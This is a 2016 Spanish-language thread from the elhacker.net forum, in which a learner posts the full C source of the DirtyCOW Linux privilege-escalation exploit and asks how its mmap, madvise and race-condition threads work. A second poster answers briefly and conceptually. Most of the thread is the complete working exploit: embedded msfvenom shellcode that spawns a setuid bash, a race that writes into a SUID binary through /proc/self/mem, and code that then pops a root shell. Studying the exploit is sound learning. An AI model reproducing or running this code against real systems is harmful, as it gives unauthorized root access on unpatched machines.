Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: mester en 25 Octubre 2016, 23:58 pm



Título: DirtyCOW funcionamiento
Publicado por: mester en 25 Octubre 2016, 23:58 pm
Hola. Me he descargado de exploit-db.com el exploit DirtyCOW, y estoy aprendiendo a programar en C y me gustaría entenderlo un poco. Adjunto codigo:

Código
  1. /*
  2. * (un)comment correct payload first (x86 or x64)!
  3. *
  4. * $ gcc cowroot.c -o cowroot -pthread
  5. * $ ./cowroot
  6. * DirtyCow root privilege escalation
  7. * Backing up /usr/bin/passwd.. to /tmp/bak
  8. * Size of binary: 57048
  9. * Racing, this may take a while..
  10. * /usr/bin/passwd is overwritten
  11. * Popping root shell.
  12. * Don't forget to restore /tmp/bak
  13. * thread stopped
  14. * thread stopped
  15. * root@box:/root/cow# id
  16. * uid=0(root) gid=1000(foo) groups=1000(foo)
  17. */
  18.  
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <sys/mman.h>
  22. #include <sys/stat.h>
  23. #include <fcntl.h>
  24. #include <pthread.h>
  25. #include <string.h>
  26. #include <unistd.h>
  27.  
  28. void *map;
  29. int f;
  30. int stop = 0;
  31. struct stat st;
  32. char *name;
  33. pthread_t pth1,pth2,pth3;
  34.  
  35. // change if no permissions to read
  36. //char suid_binary[] = "/usr/bin/passwd";
  37. char suid_binary[] = "mydirty";
  38.  
  39. /*
  40. * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
  41. */
  42. unsigned char sc[] = {
  43.  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  44.  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  45.  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  46.  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  47.  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  48.  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  49.  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  50.  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  51.  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  52.  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  53.  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  54.  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  55.  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  56.  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  57.  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
  58. };
  59. unsigned int sc_len = 177;
  60.  
  61. void *madviseThread(void *arg)
  62. {
  63.    int i,c=0;
  64.    for(i=0;i<1000000 && !stop;i++) {
  65.        c+=madvise(map,100,MADV_DONTNEED);
  66.    }
  67.    printf("thread stopped\n");
  68.  return NULL;
  69. }
  70.  
  71. void *procselfmemThread(void *arg)
  72. {
  73.    char *str;
  74.    str=(char*)arg;
  75.    int f=open("/proc/self/mem",O_RDWR);
  76.    int i,c=0;
  77.    for(i=0;i<1000000 && !stop;i++) {
  78.        lseek(f,(off_t)map,SEEK_SET);
  79.        c+=write(f, str, sc_len);
  80.    }
  81.    printf("thread stopped\n");
  82.  return NULL;
  83. }
  84.  
  85. void *waitForWrite(void *arg) {
  86.    char buf[sc_len];
  87.  
  88.    for(;;) {
  89.        FILE *fp = fopen(suid_binary, "rb");
  90.  
  91.        fread(buf, sc_len, 1, fp);
  92.  
  93.        if(memcmp(buf, sc, sc_len) == 0) {
  94.            printf("%s is overwritten\n", suid_binary);
  95.            break;
  96.        }
  97.  
  98.        fclose(fp);
  99.        sleep(1);
  100.    }
  101.  
  102.    stop = 1;
  103.  
  104.    printf("Popping root shell.\n");
  105.    printf("Don't forget to restore /tmp/bak\n");
  106.  
  107.    system(suid_binary);
  108.  return NULL;
  109. }
  110.  
  111. int main(int argc,char *argv[]) {
  112.    char backup[1024];
  113.  
  114.    printf("DirtyCow root privilege escalation\n");
  115.    printf("Backing up %s.. to /tmp/bak\n", suid_binary);
  116.  
  117.    sprintf(backup, "cp %s /tmp/bak", suid_binary);
  118.    system(backup);
  119.  
  120.    f = open(suid_binary,O_RDONLY);
  121.    fstat(f,&st);
  122.  
  123.    printf("Size of binary: %d\n", st.st_size);
  124.  
  125.    char payload[st.st_size];
  126.    memset(payload, 0x90, st.st_size);
  127.    memcpy(payload, sc, sc_len+1);
  128.  
  129.    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  130.  
  131.    printf("Racing, this may take a while..\n");
  132.  
  133.    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
  134.    pthread_create(&pth2, NULL, &procselfmemThread, payload);
  135.    pthread_create(&pth3, NULL, &waitForWrite, NULL);
  136.  
  137.    pthread_join(pth3, NULL);
  138.  
  139.    return 0;
  140. }

Por lo que tengo entendido en el codigo, primeramente, se llama a la funcion mmap, la cual copia el contenido del fichero en memoria. Después se llama a la funcion madvise en el thread madviseThread, que no sé lo que hace exactamente xd, y finalmente llama al thread procselfmemThread, que escribe en el contenido del fichero cargado en memoria el payload que hay declarado en 'sc'. Y bueno, la funcion waitForWrite que busca si se ha escrito en el fichero.

Lo que me gustaría saber es, primero, ¿que hace la funcion mmap exactamente?, segundo, ¿que hace la funcion madvise?, tercero, ¿para qué lo meten en un bucle tan grande?, cuarto, si se carga en memoria el fichero, ¿cómo se escribe el fichero cargado en memoria al fichero real almacenado en el disco?, y por último, si en la funcion del thread procselfmemThread en el write escribo "write (f, str, sc_len) == sc_len" ¿no debería de acabar ya que se supone que ha escrito los bytes de sc_len en el fichero objetivo?

Gracias de antemano.


Título: Re: DirtyCOW funcionamiento
Publicado por: sirdarckcat en 31 Octubre 2016, 01:55 am
Hola mester

Lo que hace mmap() es que asigna una sección de memoria a un archivo. Imagina que hace que cuando lees esa sección de memoria, vas a leer el archivo directamente.

madvise() es usada para optimizar el uso de memoria. Si tu sabes que tipo de acceso vas a hacer a la memoria, puedes ayudar al kernel hacer el acceso mas rapido y eficiente.

El motivo de repetir las operaciones tantas veces es para que las dos operaciones (escribir en memoria, y descartar la copia del archivo) pasen al mismo tiempo, y el programa termine escribiendo en el archivo, enlugar de la copia.

El kernel copia los cambios en la memoria de vuelta al disco duro.

No entendi tu ultima pregunta.